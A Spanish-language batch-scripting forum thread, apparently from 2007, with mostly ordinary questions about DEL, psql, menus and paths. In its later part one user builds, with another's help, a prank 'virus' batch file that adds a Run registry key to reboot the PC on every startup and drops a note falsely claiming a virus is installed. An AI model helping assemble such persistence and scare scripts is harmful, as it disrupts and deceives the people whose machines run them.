quiero crear un archivo bat que se ejecute nada mas empezar WXP y me borre todo lo que está en una carpeta determinada. No he probado a hacerlo desde el arranque pero si lo ejecuto yo a mano funciona, pero me pide confirmación para borrar los archivos, ¿hay alguna forma para lograr que los borre automaticamente sin tener que darle a alguna jodienda de tecla? Gracias :xD Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 10 Julio 2007, 19:25 pm Código: Elimina uno o m s archivos. Para poder ver esa explicacion del comando DEL tenes que poner DEL /? Como se ve ahi te muestra que con el argumento /Q no pide confimacion... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: kakake en 10 Julio 2007, 19:45 pm gracias siuto, así da gusto :D no sabes que gran favor me has hecho ;)
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: donux en 23 Julio 2007, 01:28 am Hola amigos, soy nuevito en el foro y quisiera saber si alguien me puede dar una mano con esta idea...
En sintesis, tenemos una web de juegos de autos online y queremos tener estadisticas en vivo de la gente que en un determinado momento esté en la pista. Para ello me dijeron que creando un archivo .BAT puedo hacer esto, es decir automatizar la tarea de recoleccion de datos al instante para que casi al mismo tiempo se muestren en la web. Como verán mucho no se de programacion pero si me dan algunos consejos le meto manos a la obra! Muchas gracias! Título: Crear BAT para Postgres Publicado por: Kulash en 25 Julio 2007, 17:36 pm Hola amigos, acabo de encontrar este foro y me ha parecido un lugar interesante donde conversar, he leido unas cuantas páginas de este tema, pero creo que no habrá nada referente a lo que estoy buscando.
Quiero hacer un batch para que se conecte a mi base de datos Postgres y me crea todas las tablas desde el script, quizás nose pueda hacer lo que quiero, pero quizás si y alguien pueda ayudarme un poco. En mi script tengo ahora mismo: @echo off echo ..... texto c:\archiv~1\Postgr~1\8.1\bin\psql -u Y en este momento me pide usuario y contraseña, que debe meter el usuario, como es normal, y en ese momento se conecta a la base de datos. El Promp pasa a ser: postgres=# y ahi se queda, aunque yo ponga debajo de la linea anterior escrita CREATE SCHEMA "ALFONSO"; no lo coge, es posible que lo q escriba en el batch lo coja la base de datos y me cree las tablas? Muchas Gracias a cualquiera que pueda responder. Título: Estado de programas BAT Publicado por: morenochico en 31 Julio 2007, 02:28 am Hola necesito saber el estado de un proceso o un servicio ya que en ocasiones se cuelgan y nos damos cuenta cuando es demasiado tarde (es un servidor) y cuando sucede, reiniciamos los servicios,matamos proceso, sacamos usuarios y demas cosas, ya logre hacer eso desde un .bat lo me ahorra mucho tiempo pero ahora lo que busco es una o mas de las siguientes cosas:
como saber si un programa esta colgado, un servicio esta dando problemas, la comunicacion entre aplicaciones esta truncada, un puerto esta bloqueado, leer el log del programa (escribe mas de 500 lineas) y detectar una linea de error (es de las ultimas pero no es fijo) Ya que dependiendo de lo anterior puedo automatizar el proceso y no perder tiempo en ir hasta la pc y hacer los mismos pasos. A lo mejor algunas cosas no me he dado a entender muy bien pero agradezco si tienen algunas ideas o aportaciones, la idea es monitorear un servicio ("engine") de una aplicacion en un servidor y evitar que deje de atender a clientes. Logico no puede estar una persona 24 hr monitorenado y quiero automatizar el proceso antes para que en encuanto haya problemas solucionarlo rapido. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: S.M.L.O en 4 Agosto 2007, 04:13 am Hola, soy nuevo en el foro, he estado echando un vistazo a tod y es cojonudo tanto el tutorial como las ayudas que se dan. Yo tengo una pregunta un poco ams general. Haber un .bat con el Batch file compiler digamos que se puede decompilar y leer el codigo y con este mismo programa podemos convertir un .bat a .exe pero el problema es, una vez convertido a .exe como se puede ver el codigo??
No se si m he explicado muy bien. Gracias de antemano. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: S.M.L.O en 4 Agosto 2007, 07:17 am Hola tengo una pekeña preugntilla y no la he encontrado por el foro, haber estoy haciendo un programita para organizar una serie de cursos que me e bajao (contando el de aki jaja) bueno son unos 30 entonces os voy a poner un par para que veais lo k e exo y os comento:
@echo off color 0f :menu echo. echo. echo Seleccione uno de los cursos y pulse ENTER: echo. echo 1 Comunicacion de datos echo 3 Hardware (Basico) echo 4 Hardware (Completo) echo 5 Electronica Basica echo 6 Fundamentos Fisicos de la informatica echo 7 Fundamentos Fisicos de la informatica (Ejercicios) set /p tecla= if tecla==1 goto comunicacion if tecla==2 goto subredes if tecla==3 goto hardware1 if tecla==4 goto hardware2 if tecla==5 goto electronica if tecla==6 goto fisicos1 if tecla==7 goto fisicos2 :comunicacion start C:\cursos\ComunicaciondeDatos.pdf goto menu :subredes start C:\cursos\subredes.pdf goto menu :hardware1 start C:\cursos\Cursobasicoconocimientoshardware.pdf goto menu :hardware2 start C:\cursos\hardwarecompleto.pdf goto menu :electronica start C:\cursos\electronicabasica.pdf goto menu :fisicos1 start C:\cursos\Fundamentosfisicosdelainformatica.pdf goto menu :fisicos2 start C:\cursos\Fundamentosfisicosdelainformaticaejercicios.pdf goto menu Es muy simple (pero estoy empezando) el problema es que no me habre el que quiero solo habre el 1 de la lista y ya nose que hacer. otro detalle es si admite numeros de 2 digitos si vdd?? PD: Me presento que no lo he hecho antes, me llamo Samuel , tengo 17 años nunca he hecho batch he hecho solo bastante javascript y HTML y soy Español, encantado y que siga asi el foro que esta cojonudo Thanks! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: j.r en 9 Agosto 2007, 15:48 pm wenas, acabo de conocer este maravillo foro, y tengo una duda.
Estoy creando un .bat; pra q se inicie cn el sistema. Necesito q se ejecute un programa y acepte la ventanita q crea este. EL paso q me falta es "aceptar" en la ventanita q sale. El bat lo tengo ahora mismo asin: @echo off cd.. cd.. cd.. cd c: start "programa".exe +h Q faltaria.... Gracias y un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 9 Agosto 2007, 17:39 pm S.M.L.O el error tuyo es que estabas comparando la palabra tecla no la variable tecla.
Las lineas que tenes que corregir son las que cite a continuacion... Código: if %tecla%==1 goto comunicacion Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 9 Agosto 2007, 18:36 pm wenas, acabo de conocer este maravillo foro, y tengo una duda. Estoy creando un .bat; pra q se inicie cn el sistema. Necesito q se ejecute un programa y acepte la ventanita q crea este. EL paso q me falta es "aceptar" en la ventanita q sale. Desde un archivo.bat no vas a poder hacer eso. Código: cd.. Para llegar hasta el directorio raiz en vez de hacer eso podes usar CD\ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: SirDrake en 13 Agosto 2007, 12:29 pm Un saludo a todos
Me he encontrado este post y me ha parecido interesante, pero tengo un problema con un bat que todavía no he conseguido resolver. 1º Siuto, ¿Porqué dices que no se puede usar cd..?Yo lo uso en algún bat y no hay problemas, aunque tienes que tener muy claro donde estás y donde vas. 2º Tengo que hacer un bat que llama a otro bat con parámetros, el problema es que si lo llamo tal cual lo haría en msdos el bat al que llamo se ejecuta bien pero finaliza el mio y no se ejecuta ninguna instrucción posterior, y si pongo echo y llamo al bat no hace nada pero se ejecutan las instrucciones posteriores. Al principio del post habla algo de esto pero no lo he podido solucionar Alguna ayuda? Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 14 Agosto 2007, 01:43 am 1. Pero como la mayoria de las veces no tenes muy claro donde estas y si estas seguro que vas a la raiz del HD es conveniente usar CD\ para evitar un problema.
2. Desde el archivo que se esta ejecutando llama al 2do bat de la siguiente foma: Código: start 2doArchivo.bat parametro1 parametro2 .... parametroN Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: j.r en 14 Agosto 2007, 18:32 pm Citar Desde un archivo.bat no vas a poder hacer eso. y cual podria ser una solucion posible?? Asias por todo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Undertaker092 en 18 Agosto 2007, 16:09 pm Una pregunta.Cuando coloco este codigo no funciona... por que¿?
Código: @Echo off quiero crear esas carpetas en el escritorio i luego añadirle a la carpeta 1 el archivo lala.bat...pero ^Z tmp funciona...que ago¿?¿? ;D ;D :huh: Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 18 Agosto 2007, 17:50 pm Código: copy con: lala.bat Esto lo podes hacer en la consola pero en BATCH tenes que hacer asi: Código: ECHO msg * ola >> lala.bat Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Undertaker092 en 18 Agosto 2007, 18:57 pm Mira estas screens:
(http://imagen.subeimagen.com/307223primera.JPG) (http://imagen.subeimagen.com/970347segunda.JPG) (http://imagen.subeimagen.com/147562tercera.JPG) no entiendo xk efectua esas cosas: crear otra carpeta aparte de las especificadas... -otra pregunta:el spoil en este foro es cn hide?? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 18 Agosto 2007, 22:03 pm A ver vamos desde cero porque aca supongo que hay varios problemas...
1. Mal interpretaste mi post anterior, las 3 lineas que te cite en el 1er code se remplazan solo por una, la que puse al final. 2. Puede ser que el usuario de tu PC con el que estes loguaado se llame usuario, pero dudo que sea asi y seguramente donde dice usuario tenes que poner el nombre de usuario. Para saber el mismo podes ir hasta C:\Documents and settings y mirar los nombres de los usuarios o sino en remplazo de C:\documents and settings\usuario\escritorio podes usar %USERPROFILE%\Escrotorio Con esos dos arreglos te tendria que andar, sin embargo en la linea 4 creas una carpeta llamada carpeta 2 que no te sirve de nada, podrias omitirla. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: GroK en 19 Agosto 2007, 04:22 am Tambien añadir que para los nombres de rutas y demas que contengan espacios debes ponerlas entre comillas, sino solo cogera la primera palabra como valida
Código Etc...Saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Undertaker092 en 19 Agosto 2007, 13:24 pm Ya me funciona todo...pero m falta una cosa:
Código: @echo off ..aora como le añado @echo off a ostia.bat?? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: .Undertaker. en 19 Agosto 2007, 15:42 pm Ya sta XDXD...m tuve k acer otro usuario :-\ :-\ :-(
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 19 Agosto 2007, 21:01 pm Ya sta XDXD...m tuve k acer otro usuario :-\ :-\ :-( Como es eso? Porque? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: GroK en 20 Agosto 2007, 00:57 am ahora como le añado @echo off a ostia.bat?? Por si todavia tenias la duda, simplemente: Código
Etc... Saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: .Undertaker. en 20 Agosto 2007, 07:28 am OK..XD aora otra duda...
Código: @echo off No entiendo xk se me crea la carpeta "ENTRA AQUI" y a parte tmb en el escritorio el archivo "solucion.txt...deberia krearlo dentro d la otra karpeta no?? para eso esta el 2º cd [..."C:\%homedrive%%homepath%\escritorio\ENTRA AQUI"] Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 20 Agosto 2007, 07:37 am El problema es que escribiste mal la ruta de la 2da linea, cd "C:\%homedrive%%homepath%\escritorio", eso seria:
Código: CD %USERPROFILE%\Escritorio O si queres seguir usando las variables que vos pusiste tenes que sarcar el C:\ y te quedaria asi: Código: CD %HOMEDRIVE%%HOMEPATH%\Escritorio PAra encotrar algun error de este tipo cuando haces un bat tenes que correrlo desde una ventana de MS-DOS abierta previamente para que al terminar la ejecucion del mismo no se cierre la ventana porque de haber aparecido algun error no lo vas a poder llegar a ver o sino antes del EXIT poner un PAUSE para detener la ejecucion hasta que puedas leer el error. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: .Undertaker. en 20 Agosto 2007, 07:43 am aparte.... i aora si le añado shutdown...
Código: @echo off -->Como lo añado al registro de windows...solo para ese usuario¿?¿? y para todos los usuarios?¿?¿ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: .Undertaker. en 20 Agosto 2007, 07:48 am La segunda linea aun no sta bn...m parece k no t entendi...
ad+ aora m crea la carpeta i el archivo en el escritorio separados i en el .txt no ai nada escrito... y por ultimo...el @echo off no m sirve d nada...jiji siento dar tnto dolor de cabeza. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 20 Agosto 2007, 07:49 am Tenes que usar el comando REG ADD, para ver la ayuda escribis en la consola REG ADD /? y te muestra la informacion, te la pego a continuacion, leela y pregunta si no entendes alguna cosa...
Código: Herramienta de registro de consola para Windows - versión 3.0 Te recomiendo que si no estas muy seguro de si tus BATs funcionan bien para probar algun comando nuevo o alguna cosa que no sabes usar lo hagas desde la misma consola o en un archivo nuevo para no confundir los errores que puedas tener de antes con los nuevos. Bueno me fui a dormir es tarde, mañana miro lo que dijiste mientras escribia esto. PD: Me olvide de avisarte que la clave que se usa para abrir archivos cuando se inicia la PC es: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrrentVersion\Run Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: .Undertaker. en 20 Agosto 2007, 07:53 am M parece k es este:
Código: REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% >>m puedes explicar el code que puse ai<< Gracias d antemano! ;D ;D EDITADO ------------------------------------------------------------------ Citar REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%) en ese "datos" coloco shutdown -r -t 200?? y en ese "nombre" que coloco?? EDITADO ------------------------------------------------------------------ Citar @echo off shutdown -r -t 200 REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%% Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%) cd "C:\%homedrive%%homepath%\escritorio" md "ENTRA AQUI" cd "%USERPROFILE%\Escritorio\ENTRA AQUI" echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt cls exit M podrias arreglar el REG ADD...?? sk no lo entiendo muy bn...Eso si explicamelo para saber hacerlo para otra vez. XDXDXD ----->perdon por los dolores de cabeza<----- Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 20 Agosto 2007, 16:56 pm La clave del registro que tenes que usar es esta: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrrentVersion\Run por ahi no la viste porque creo que edite el post despues de que vos posteaste, te quedaria asi...
Código: REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200 Proba a ver si asi te anda sino proba con las comillas. PD: El conmando shutdown esta dentro del path de windows(System32) por eso es que en este caso no es necesario escribir la ruta hasta el mismo. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: .Undertaker. en 20 Agosto 2007, 17:41 pm La solucion seria esta?¿?¿
Código: @echo off i si modificara el shutdown....kedaria asi?? Citar REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d "shutdown -r -t 200" Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ANELKAOS en 20 Agosto 2007, 18:51 pm Se ha creado un subforo para solucionar las dudas de procesos batch.
Podéis acceder a él en: Subforo de Scripting http://foro.elhacker.net/scripting-b64.0/ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Rumaca en 9 Mayo 2015, 09:28 am HI
|